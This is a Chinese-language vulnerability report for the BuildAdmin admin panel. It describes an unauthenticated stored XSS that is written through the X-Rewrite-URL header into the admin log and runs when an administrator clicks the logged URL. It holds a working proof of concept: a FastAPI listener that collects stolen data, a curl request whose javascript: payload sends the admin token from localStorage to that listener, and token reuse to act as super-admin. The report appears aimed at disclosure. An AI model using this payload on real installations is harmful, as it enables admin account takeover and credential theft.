BuildAdmin 漏洞报告

软件名称:BuildAdmin

开发者或厂商:build-admin

代码仓库:https://github.com/build-admin/BuildAdmin

1. 管理员日志 URL 字段存储型 XSS

简要描述:未登录的请求可以让管理员日志保存一段 javascript: 脚本,管理员点击该记录时脚本在后台执行,接管受害者账号。
影响版本:1.0.1 ~ 2.3.9
漏洞引入:BuildAdmin commit 49349b38
前置条件:管理员在后台查看特定日志。

漏洞成因

后台应用注册了 AdminLog 中间件(app/admin/middleware.php:4),它对每个 POST、DELETE 请求写入一条操作日志(app/common/middleware/AdminLog.php:19-20,auto_write_admin_log 默认为 true),未登录的请求同样会被记录。日志字段由 app/admin/model/AdminLog.php 的 record() 方法组装:

# app/admin/model/AdminLog.php:145-153    commit 26daeaf24f
self::create([
    'admin_id'  => $adminId,
    'username'  => $username,
    'url'       => substr(request()->url(), 0, 1500),
    'title'     => $title,
    'data'      => !is_scalar($data) ? json_encode($data) : $data,
    'ip'        => request()->ip(),
    'useragent' => substr(request()->server('HTTP_USER_AGENT'), 0, 255),
]);

request()->url() 在取值时优先读取 HTTP_X_REWRITE_URL 请求头,REQUEST_URI 排在其后:

# vendor/topthink/framework/src/think/Request.php:414-424    commit 26daeaf24f
public function url(bool $complete = false): string
{
    if ($this->url) {
        $url = $this->url;
    } elseif ($this->server('HTTP_X_REWRITE_URL')) {
        $url = $this->server('HTTP_X_REWRITE_URL');
    } elseif ($this->server('REQUEST_URI')) {
        $url = $this->server('REQUEST_URI');

这个请求头由客户端填写,record() 不做协议校验,把它原样写进 url 字段。

后台日志列表的 URL 列使用 url 渲染器(web/src/views/backend/auth/adminLog/index.vue:91),点击打开按钮时把单元格的值赋给 location.href:

// web/src/components/table/fieldRender/url.vue:32-38    commit 26daeaf24f
const openUrl = (url: string, field: TableColumn) => {
    if (field.target == '_blank') {
        window.open(url)
    } else {
        window.location.href = url
    }
}

因此 javascript: 开头的日志内容会在管理员打开日志时执行。前端把管理员 token 与 refresh_token 保存在 localStorage 的 adminInfo(web/src/stores/adminInfo.ts:54-56),脚本读取该键即可取得管理员凭据。

复现环境搭建

按官方文档准备 PHP 8.2、MySQL 8 与 Node.js 22,然后拉取源码并启动安装服务:

git clone https://github.com/build-admin/BuildAdmin.git
cd BuildAdmin
composer install
php think run

浏览器访问 http://127.0.0.1:8000/,按页面引导完成安装,前端构建由安装流程自动完成。安装时数据库填 buildadmin_com,管理员账号设为 Admin,密码设为 Admin@12345。

攻击机一侧准备一个记录请求的服务:

import html
from pathlib import Path

import uvicorn
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

LOG = Path("stolen.log")
app = FastAPI()

PAGE = """<!doctype html>
<html><head><meta charset="utf-8"><title>stolen adminInfo</title></head>
<body style="font-family:monospace;padding:24px">
<h2>stolen localStorage.adminInfo</h2>
<pre style="white-space:pre-wrap">{data}</pre>
</body></html>"""


@app.get("/steal")
async def steal(request: Request):
    data = request.query_params.get("d", "")
    with LOG.open("a") as f:
        f.write(data + "\n")
    return HTMLResponse(PAGE.replace("{data}", html.escape(data)))


@app.get("/log")
async def log_page():
    data = LOG.read_text() if LOG.exists() else ""
    return HTMLResponse(PAGE.replace("{data}", html.escape(data)))


uvicorn.run(app, host="127.0.0.1", port=18999)

启动监听:

uv run --with fastapi --with uvicorn python server.py

下文中攻击机地址以 127.0.0.1:18999 表示。

复现过程

未登录向登录接口发送一次失败的登录请求,并用 X-Rewrite-URL 携带脚本:

curl -s -X POST 'http://127.0.0.1:8000/index.php/admin/index/login' \
  -H "X-Rewrite-URL: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=xssprobe&password=wrongpass'

响应是登录失败提示,同时日志里已经多出一条记录:

{"code":0,"msg":"验证码ID不能为空","time":1794450578,"data":null}
mysql> select id,admin_id,username,url from ba_admin_log\G
*************************** 1. row ***************************
      id: 1
admin_id: 0
username: xssprobe
     url: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))

用管理员账户登录后台,进入「权限管理」下的「管理员日志管理」,可以看到 ID 为 1、管理用户名为 xssprobe 的记录,URL 列显示 javas 开头的内容:

点击该行 URL 列的打开按钮,日志里的脚本被执行,攻击机收到管理员凭据:

{"id":1,"username":"admin","nickname":"Admin","avatar":"/static/images/avatar.png","last_login_time":1794450596,"token":"d894fb9c-49b7-4d42-acd0-264c8c4815f8","refresh_token":"","super":true}

监听服务同时把这次请求展示出来:

用其中 token 请求管理员列表,接口返回超管所在的管理组与账号信息:

curl -s -H 'batoken: d894fb9c-49b7-4d42-acd0-264c8c4815f8' -H 'server: true' \
  'http://127.0.0.1:8000/admin/auth.admin/index?limit=2'
{"code":1,"msg":"","time":1794450635,"data":{"list":[{"group_arr":[1],"group_name_arr":["超级管理组"],"id":1,"username":"admin","nickname":"Admin","avatar":"\/static\/images\/avatar.png","email":"admin@buildadmin.com","mobile":"18888888888","last_login_time":1794450635,"last_login_ip":"192.168.64.1","motto":"","status":"enable","update_time":1794450635,"create_time":1794450550}],"total":1,"remark":""}}

把窃得的 adminInfo 原样写入浏览器的 localStorage,打开后台的管理员管理页面,即以超管身份进入: